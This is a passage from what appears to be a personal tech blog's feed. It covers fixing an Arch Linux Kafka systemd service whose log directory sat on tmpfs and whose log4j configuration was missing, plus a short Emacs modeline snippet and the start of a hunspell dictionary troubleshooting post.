&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;KafkaRaftServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;init&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KafkaRaftServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scala:56&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kafka_2&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jar:&lt;/span&gt;&lt;span class="p"&gt;?]&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;buildServer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scala:68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kafka_2&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jar:&lt;/span&gt;&lt;span class="p"&gt;?]&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scala:75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kafka_2&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jar:&lt;/span&gt;&lt;span class="p"&gt;?]&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;523358&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scala&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kafka_2&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jar:&lt;/span&gt;&lt;span class="p"&gt;?]&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exited&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;exited&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FAILURE&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;exit-code&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Consumed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.429&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CPU&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;134.5&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;peak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Trying to solve it&lt;/h2&gt;
&lt;p&gt;First up, was to figure out where Kafka reads its data log from:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# grep ^log.dirs /etc/kafka/server.properties
log.dirs=/tmp/kraft-combined-logs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I then created this non-existant directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# mkdir /tmp/kraft-combined-logs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And initialised the Kafka storage in this directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# sudo -u kafka kafka-storage.sh format -t $(kafka-storage.sh random-uuid) -c /etc/kafka/server.properties --standalone
Formatting dynamic metadata voter directory /tmp/kraft-combined-logs with metadata.version 4.0-IV3.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That created these files, and it, at least to me, looked good: &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# tree /tmp/kraft-combined-logs/
/tmp/kraft-combined-logs/
├── bootstrap.checkpoint
├── cleaner-offset-checkpoint
├── __cluster_metadata-0
│   ├── 00000000000000000000-0000000000.checkpoint
│   ├── 00000000000000000000.index
│   ├── 00000000000000000000.log
│   ├── 00000000000000000000.timeindex
│   ├── 00000000000000000059.snapshot
│   ├── leader-epoch-checkpoint
│   ├── partition.metadata
│   └── quorum-state
├── log-start-offset-checkpoint
├── meta.properties
├── recovery-point-offset-checkpoint
└── replication-offset-checkpoint

2 directories, 14 files
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, starting it from systemd still failed, although manually
starting it worked (wot?!!):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# sudo -u kafka /usr/bin/kafka-server-start.sh /etc/kafka/server.properties
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Fixing it for real&lt;/h2&gt;
&lt;p&gt;It turned out that the reason it didn't work from systemd, was because
the binary logs were in &lt;code&gt;/tmp&lt;/code&gt;, which was mounted like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mount | grep /tmp
tmpfs on  /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To change this, I did:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# vim /etc/kafka/server.properties
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And changed &lt;code&gt;log.dirs&lt;/code&gt; to:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dirs&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;kafka&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The directory was already owned and writeable by the &lt;code&gt;kafka&lt;/code&gt; user, but
just to be sure I checked both that the systemd unit was started as
the &lt;code&gt;kafka&lt;/code&gt; user and that the directory was owned by this user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ls -ltra /var/lib/kafka
drwxr-xr-x 3 kafka kafka 4.0K Apr 29 13:23 /var/lib/kafka/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl cat kafka | grep ^User=
User=kafka
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I then, created new storage files for Kafka using the &lt;code&gt;kafka&lt;/code&gt;
user. The command reads the target directory from
&lt;code&gt;/etc/kafka/server.properties&lt;/code&gt;, so it was just another invocation of
the command from before:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# sudo -u kafka kafka-storage.sh format -t $(kafka-storage.sh random-uuid) -c /etc/kafka/server.properties --standalone
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With those two changes, Kafka now started successfully:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl restart kafka
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Yeah! &lt;/p&gt;
&lt;h2&gt;Fixing the logging&lt;/h2&gt;
&lt;p&gt;While at it, I fixed another thing, namely the logging. You see, Kafka
complained that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;main ERROR Reconfiguration failed: No configuration found for &amp;#39;76ed5528&amp;#39; at &amp;#39;null&amp;#39; in &amp;#39;null&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This turned out to be log4j not being able to configure itself
properly.  To fix this, I told the systemd unit to use the log4j
configuraiton that is &lt;em&gt;actually&lt;/em&gt; in the Arch package, the YAML version
and not the old &lt;code&gt;.properties&lt;/code&gt; version that's no longer there:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ls /etc/kafka/log4j*
lrwxrwxrwx 1 root root 35 Mar 20 00:24 /etc/kafka/log4j2.yaml -&amp;gt; /usr/share/kafka/config/log4j2.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The systemd unit was clearly missing the correct log4j conf reference,
so I created an override:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl edit kafka
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At the top, I added:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;Environment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="na"&gt;Environment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;KAFKA_PID_DIR=/run/kafka/&lt;/span&gt;
&lt;span class="na"&gt;Environment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;LOG_DIR=/var/log/kafka&lt;/span&gt;
&lt;span class="na"&gt;Environment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;KAFKA_LOG4J_OPTS=-Dlog4j.configurationFile=/etc/kafka/log4j2.yaml&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, reload systemd and restart the &lt;code&gt;kafka&lt;/code&gt; unit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl daemon-reload
# systemctl restart kafka
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And now, Kafka wasn't only running poperly, but also produced useful
log message, allowing me to turn on debug logging too to delve deeper.&lt;/p&gt;
&lt;p&gt;Happy messaging!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="kafka"/></entry><entry><title>Simple Modeline Brings Peace of Mind</title><link href="https://skybert.net/emacs/simple-modeline-brings-peace-of-mind" rel="alternate"/><published>2025-04-25T00:00:00+02:00</published><updated>2025-04-25T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-04-25:/emacs/simple-modeline-brings-peace-of-mind</id><summary type="html">&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/emacs/2025/my-simple-emacs-modeline.png"
  alt="emacs modeline"
/&gt;&lt;/p&gt;
&lt;p&gt;I've been using my own modeline this week and I like the simplicity of
it: Buffer name, file state (unsaved/saved), file encoding, clock,
system load and line &amp;amp; column numbers. That's it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-day-and-date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-load-average&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-24hr-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;display-time-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;setq-default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;mode-line-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; %b %* %z &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; (%l, %c …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/emacs/2025/my-simple-emacs-modeline.png"
  alt="emacs modeline"
/&gt;&lt;/p&gt;
&lt;p&gt;I've been using my own modeline this week and I like the simplicity of
it: Buffer name, file state (unsaved/saved), file encoding, clock,
system load and line &amp;amp; column numbers. That's it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-day-and-date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-load-average&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-24hr-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;display-time-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;setq-default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;mode-line-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; %b %* %z &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;display-time-string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; (%l, %c)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>Hunspell cannot find dictionary</title><link href="https://skybert.net/linux/hunspell-cannot-find-dictionary" rel="alternate"/><published>2025-04-14T00:00:00+02:00</published><updated>2025-04-14T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-04-14:/linux/hunspell-cannot-find-dictionary</id><summary type="html">&lt;p&gt;Emacs complained wherever I opened a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Can&amp;#39;t open affix or dictionary files for dictionary named &amp;quot;en_GB&amp;quot;. arch linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I first thought this was an Emacs problem, but it turned out to be &lt;code&gt;hunspell&lt;/code&gt; itself. Running it from the command line showed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ hunspell -D
SEARCH PATH:
.::/usr/share/hunspell …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Emacs complained wherever I opened a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Can&amp;#39;t open affix or dictionary files for dictionary named &amp;quot;en_GB&amp;quot;. arch linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I first thought this was an Emacs problem, but it turned out to be &lt;code&gt;hunspell&lt;/code&gt; itself. Running it from the command line showed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ hunspell -D
SEARCH PATH:
